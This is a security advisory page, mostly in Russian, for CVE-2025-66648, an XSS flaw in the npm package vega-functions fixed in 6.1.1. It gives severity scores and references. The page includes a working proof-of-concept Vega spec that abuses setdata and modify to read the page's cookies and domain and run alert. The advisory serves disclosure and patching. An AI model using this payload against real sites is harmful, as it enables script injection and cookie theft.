GHSA-m9rg-mr6g-75gm

Опубликовано: 05 янв. 2026

Источник: github

Github: Прошло ревью

CVSS3: 7.2

Описание

vega-functions vulnerable to Cross-site Scripting via setdata function

Impact

For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).

Patches

Fixed in vega-functions 6.1.1

Workarounds

There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Exploit Proof of Concept

Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:

{ "$schema": "https://vega.github.io/schema/vega/v6.json", "data": [ { "name": "table", "values": [ {"category": "A", "amount": 28} ] } ], "signals": [ { "name": "tooltip", "value": {}, "on": [ {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"}, {"events": "rect:pointerout", "update": "{}"} ] } ] }

Ссылки

Пакеты

Наименование

vega-functions

npm

Затронутые версииВерсия исправления

<= 6.1.0

6.1.1

EPSS

Процентиль: 11%

0.00038

Низкий

7.2 High

CVSS3

CVE ID

CVE-2025-66648

Дефекты

CWE-79

Связанные уязвимости

CVE-2025-66648

CVSS3: 7.2

ubuntu

около 1 месяца назад

vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.

CVE-2025-66648

CVSS3: 7.2

nvd

около 1 месяца назад

CVE-2025-66648

CVSS3: 7.2

debian

около 1 месяца назад

vega-functions provides function implementations for the Vega expressi ...

EPSS

Процентиль: 11%

0.00038

Низкий

7.2 High

CVSS3

CVE ID

CVE-2025-66648

Дефекты

CWE-79